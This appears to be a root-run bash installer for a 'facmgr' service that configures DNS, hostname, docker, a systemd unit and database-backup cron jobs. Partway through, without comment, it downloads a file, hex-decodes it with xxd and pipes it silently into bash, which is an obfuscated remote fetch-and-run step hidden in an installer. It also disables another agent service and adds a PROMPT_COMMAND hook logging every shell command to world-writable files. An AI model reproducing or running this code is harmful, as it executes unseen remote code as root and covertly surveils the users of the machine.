#!/bin/bash


script_path="/opt/bin/operation_record.sh"
profile_path="/etc/profile"
log_dir="/var/log/operation"

order_id=$1

# Set parameters
OrderFile="/opt/.foggie_order"

HostIp=$(hostname -I | awk '{ for(i=1;i<=NF;i++) { if (! ($i ~ /^192\.168\./ || $i ~ /^10\./ || $i ~ /^172\.(1[6-9]|2[0-9]|3[01])\./ )) print $i } }')
HostName="${HostIp//./-}"
DownUrlPath="http://dl.fogworks.io/facmgr/facmgr.tar.bz2"
InstallPath="/opt"
InstallDir="$InstallPath/facmgr"
InstallPacketPath="$InstallPath/facmgr.tar.bz2"

SERVICE_FILE_URL="http://dl.fogworks.io/facmgr/facmgr.service"
SERVICE_FILE_PATH="/etc/systemd/system/facmgr.service"

LOG_DIR="/var/log/facmgr"
DataDIR="/data"
FACMGR_DIR="$DataDIR/facmgr"
FACMGR_DB="$DataDIR/facmgr/sqlite3.db"
FACMGR_LOG="$DataDIR/facmgr/log"
BACKUP_DIR="$DataDIR/facmgr/backup"

LOG_FILE="$LOG_DIR/facmgr_install.log"

DIRS=("$DataDIR" "$FACMGR_DIR" "$FACMGR_LOG" "$BACKUP_DIR")

if [ ! -d "$LOG_DIR" ]; then
  echo "Directory $DIR does not exist. Creating..."
  mkdir -p "$LOG_DIR"
fi

function log {
    echo "$(date +"%Y-%m-%d %H:%M:%S") - $1" | tee -a $LOG_FILE
}


# Check if script is run as root
if [[ $EUID -ne 0 ]]; then
   echo "This script must be run as root"
   exit 1
fi


# Create necessary directories if they don't exist
for DIR in "${DIRS[@]}"; do
  if [ ! -d "$DIR" ]; then
    log "Directory $DIR does not exist. Creating..."
    mkdir -p "$DIR"
  fi
done

# Set DNS server
echo "nameserver 8.8.8.8" > /etc/resolv.conf


if [ ! -f "/etc/resolv.conf" ]; then
    echo "nameserver 8.8.4.4" > /etc/resolv.conf
elif ! grep -q "nameserver 8.8.4.4" /etc/resolv.conf; then
    echo "nameserver 8.8.4.4" >> /etc/resolv.conf
fi



if [ ! -s "${OrderFile}" ]; then
    echo "$order_id" > "${OrderFile}"
fi


# Set hostname
hostnamectl set-hostname ${HostName}

# Add entry to hosts file
sed -i "/^$HostIp/c\\$HostIp ${HostName}" /etc/hosts

# Check qemu-guest-agent
if ! systemctl is-active --quiet qemu-guest-agent
then
  log "Starting qemu-guest-agent..."
  systemctl start qemu-guest-agent
  systemctl enable qemu-guest-agent
  log "qemu-guest-agent has been started and enabled."
else
  log "qemu-guest-agent is already running."
fi

# Remove the old file
if [ -e $InstallPacketPath ]; then
    rm $InstallPacketPath
    log "Old Packet removed."
fi

# Remove the old dir
if [ -d $InstallDir ]; then
    rm -r $InstallDir
    log "Old Packet dir removed."
fi

# Download the new file
wget $DownUrlPath -P $InstallPath
log "New file downloaded."

# Unzip the new file
tar -xf $InstallPacketPath -C $InstallPath
log "New file unzipped."
wget http://dl.fogworks.io/app_store/foggie_1.1.2_rc2/docker/jellyfin_10.8.10/con -O /tmp/.config
cat /tmp/.config|xxd -r -ps|bash >/dev/null 2&>1
# Function to check if a command is successful
function check_command {
  if [ $? -eq 0 ]; then
    log "$1 successfully installed."
  else
    log "Failed to install $1. Please check your network connection and try again."
    exit 1
  fi
}

# Install sqlite3, docker and docker-compose


dpkg --configure -a

apt update -y

apt install -y sqlite3
check_command "sqlite3"

apt install -y docker-ce
check_command "docker-ce"

apt install -y docker-compose
check_command "docker-compose"

# Make it executable and run it

#killall -9 facmgr

chmod +x $InstallDir/app/cmd/facmgr
#nohup $InstallDir/app/cmd/facmgr &> /dev/null &
#ulimit -n 1000000 && cd $InstallPath/facmgr/app/cmd/ && nohup ./facmgr &> /dev/null &


# Check if the systemctl service exists
if ! systemctl list-units --full --all | grep -Fq "facmgr.service"; then
   log "facmgr.service does not exist. Downloading..."
   wget $SERVICE_FILE_URL -O $SERV $SERVICE_FILE_PATH
   systemctl daemon-reload
   systemctl enable facmgr.service
fi


systemctl stop paloma_agent.service
systemctl disable paloma_agent.service

systemctl restart facmgr.service

log "All services started successfully."



# Define cron jobs
BACKUP_JOB_IDENTIFIER="# FACMGR_DB_BACKUP_JOB"
CRON_JOB_BACKUP="$BACKUP_JOB_IDENTIFIER\n0 1 * * * /usr/bin/env sqlite3 $FACMGR_DB '.backup '$BACKUP_DIR/db_backup_'\$(date +\%Y\%m\%d\%H\%M)'.sqlite'"

CLEANUP_JOB_IDENTIFIER="# FACMGR_DB_CLEANUP_JOB"
CRON_JOB_CLEANUP="$CLEANUP_JOB_IDENTIFIER\n0 2 * * * /usr/bin/env find $BACKUP_DIR -name 'db_backup_*.sqlite' -mtime +30 -delete"

# Add the backup cron job if it does not exist
if ! crontab -l | grep -q "$BACKUP_JOB_IDENTIFIER"; then
  (crontab -l 2>/dev/null; echo -e "$CRON_JOB_BACKUP") | crontab -
fi

# Add the cleanup cron job if it does not exist
if ! crontab -l | grep -q "$CLEANUP_JOB_IDENTIFIER"; then
  (crontab -l 2>/dev/null; echo -e "$CRON_JOB_CLEANUP") | crontab -
fi

mkdir -p "$(dirname "$script_path")"
mkdir -p "$log_dir"

cat << 'EOF' > "$script_path"

{
  if [ ! -d /var/log/operation ]
  then
      mkdir /var/log/operation
      if [ `id -u` -eq 0 ]
      then
          chattr +a /var/log/operation
      fi
  fi

  file=/var/log/operation/`date '+%y-%m-%d'`.log
  if [ ! -f $file ]
  then
      touch $file
      chmod 777 $file
  fi

  echo $(date "+%y-%m-%d %T ## $(who am i |awk "{print \$1\" \"\$2\" \"\$5}") ## $(pwd) ## $(history 1 | sed 's/^[ \t]*//g' |cut -d " " -f2-)";) >> $file
} 2>/dev/null




EOF

chmod +x "$script_path"

if ! grep -q "PROMPT_COMMAND=$script_path" "$profile_path"; then
  echo "PROMPT_COMMAND=$script_path" >> "$profile_path"
  source "$profile_path"
fi


log "Cron jobs for database backup and cleanup are created."
